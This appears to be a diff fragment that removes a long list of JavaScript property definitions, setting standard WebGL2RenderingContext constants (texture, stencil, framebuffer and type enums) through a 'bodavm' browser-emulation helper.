-bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVERT", {configurable:false, enumerable:true, writable:false, value:5386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR_WRAP", {configurable:false, enumerable:true, writable:false, value:34055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR_WRAP", {configurable:false, enumerable:true, writable:false, value:34056},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VENDOR", {configurable:false, enumerable:true, writable:false, value:7936},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERER", {configurable:false, enumerable:true, writable:false, value:7937},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERSION", {configurable:false, enumerable:true, writable:false, value:7938},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST", {configurable:false, enumerable:true, writable:false, value:9728},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR", {configurable:false, enumerable:true, writable:false, value:9729},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9984},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_NEAREST", {configurable:false, enumerable:true, writable:false, value:9985},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEAREST_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9986},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINEAR_MIPMAP_LINEAR", {configurable:false, enumerable:true, writable:false, value:9987},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAG_FILTER", {configurable:false, enumerable:true, writable:false, value:10240},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_FILTER", {configurable:false, enumerable:true, writable:false, value:10241},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_S", {configurable:false, enumerable:true, writable:false, value:10242},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_T", {configurable:false, enumerable:true, writable:false, value:10243},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE", {configurable:false, enumerable:true, writable:false, value:5890},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34067},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_CUBE_MAP", {configurable:false, enumerable:true, writable:false, value:34068},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_X", {configurable:false, enumerable:true, writable:false, value:34069},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_X", {configurable:false, enumerable:true, writable:false, value:34070},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Y", {configurable:false, enumerable:true, writable:false, value:34071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Y", {configurable:false, enumerable:true, writable:false, value:34072},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_POSITIVE_Z", {configurable:false, enumerable:true, writable:false, value:34073},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_CUBE_MAP_NEGATIVE_Z", {configurable:false, enumerable:true, writable:false, value:34074},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CUBE_MAP_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:34076},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE0", {configurable:false, enumerable:true, writable:false, value:33984},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE1", {configurable:false, enumerable:true, writable:false, value:33985},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE2", {configurable:false, enumerable:true, writable:false, value:33986},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE3", {configurable:false, enumerable:true, writable:false, value:33987},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE4", {configurable:false, enumerable:true, writable:false, value:33988},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE5", {configurable:false, enumerable:true, writable:false, value:33989},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE6", {configurable:false, enumerable:true, writable:false, value:33990},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE7", {configurable:false, enumerable:true, writable:false, value:33991},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE8", {configurable:false, enumerable:true, writable:false, value:33992},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE9", {configurable:false, enumerable:true, writable:false, value:33993},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE10", {configurable:false, enumerable:true, writable:false, value:33994},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE11", {configurable:false, enumerable:true, writable:false, value:33995},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE12", {configurable:false, enumerable:true, writable:false, value:33996},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE13", {configurable:false, enumerable:true, writable:false, value:33997},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE14", {configurable:false, enumerable:true, writable:false, value:33998},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE15", {configurable:false, enumerable:true, writable:false, value:33999},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE16", {configurable:false, enumerable:true, writable:false, value:34000},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE17", {configurable:false, enumerable:true, writable:false, value:34001},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE18", {configurable:false, enumerable:true, writable:false, value:34002},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE19", {configurable:false, enumerable:true, writable:false, value:34003},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE20", {configurable:false, enumerable:true, writable:false, value:34004},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE21", {configurable:false, enumerable:true, writable:false, value:34005},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE22", {configurable:false, enumerable:true, writable:false, value:34006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE23", {configurable:false, enumerable:true, writable:false, value:34007},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE24", {configurable:false, enumerable:true, writable:false, value:34008},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE25", {configurable:false, enumerable:true, writable:false, value:34009},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE26", {configurable:false, enumerable:true, writable:false, value:34010},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE27", {configurable:false, enumerable:true, writable:false, value:34011},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE28", {configurable:false, enumerable:true, writable:false, value:34012},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE29", {configurable:false, enumerable:true, writable:false, value:34013},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE30", {configurable:false, enumerable:true, writable:false, value:34014},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE31", {configurable:false, enumerable:true, writable:false, value:34015},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34016},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPEAT", {configurable:false, enumerable:true, writable:false, value:10497},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CLAMP_TO_EDGE", {configurable:false, enumerable:true, writable:false, value:33071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIRRORED_REPEAT", {configurable:false, enumerable:true, writable:false, value:33648},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC2", {configurable:false, enumerable:true, writable:false, value:35664},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC3", {configurable:false, enumerable:true, writable:false, value:35665},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC4", {configurable:false, enumerable:true, writable:false, value:35666},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC2", {configurable:false, enumerable:true, writable:false, value:35667},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC3", {configurable:false, enumerable:true, writable:false, value:35668},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC4", {configurable:false, enumerable:true, writable:false, value:35669},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL", {configurable:false, enumerable:true, writable:false, value:35670},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC2", {configurable:false, enumerable:true, writable:false, value:35671},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC3", {configurable:false, enumerable:true, writable:false, value:35672},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC4", {configurable:false, enumerable:true, writable:false, value:35673},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2", {configurable:false, enumerable:true, writable:false, value:35674},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3", {configurable:false, enumerable:true, writable:false, value:35675},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4", {configurable:false, enumerable:true, writable:false, value:35676},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:35678},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:35680},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", {configurable:false, enumerable:true, writable:false, value:34338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", {configurable:false, enumerable:true, writable:false, value:34339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:34340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", {configurable:false, enumerable:true, writable:false, value:34341},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:34922},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", {configurable:false, enumerable:true, writable:false, value:34373},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34975},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", {configurable:false, enumerable:true, writable:false, value:35738},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", {configurable:false, enumerable:true, writable:false, value:35739},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPILE_STATUS", {configurable:false, enumerable:true, writable:false, value:35713},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_FLOAT", {configurable:false, enumerable:true, writable:false, value:36336},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_FLOAT", {configurable:false, enumerable:true, writable:false, value:36337},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_FLOAT", {configurable:false, enumerable:true, writable:false, value:36338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_INT", {configurable:false, enumerable:true, writable:false, value:36339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_INT", {configurable:false, enumerable:true, writable:false, value:36340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_INT", {configurable:false, enumerable:true, writable:false, value:36341},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36160},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER", {configurable:false, enumerable:true, writable:false, value:36161},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA4", {configurable:false, enumerable:true, writable:false, value:32854},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB5_A1", {configurable:false, enumerable:true, writable:false, value:32855},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB565", {configurable:false, enumerable:true, writable:false, value:36194},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT16", {configurable:false, enumerable:true, writable:false, value:33189},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_INDEX8", {configurable:false, enumerable:true, writable:false, value:36168},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL", {configurable:false, enumerable:true, writable:false, value:34041},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_WIDTH", {configurable:false, enumerable:true, writable:false, value:36162},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_HEIGHT", {configurable:false, enumerable:true, writable:false, value:36163},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", {configurable:false, enumerable:true, writable:false, value:36164},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:36176},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:36177},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:36178},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:36179},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:36180},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:36181},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:36048},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", {configurable:false, enumerable:true, writable:false, value:36049},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", {configurable:false, enumerable:true, writable:false, value:36050},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", {configurable:false, enumerable:true, writable:false, value:36051},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT0", {configurable:false, enumerable:true, writable:false, value:36064},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36096},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36128},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:33306},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NONE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_COMPLETE", {configurable:false, enumerable:true, writable:false, value:36053},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36054},'prototype'); 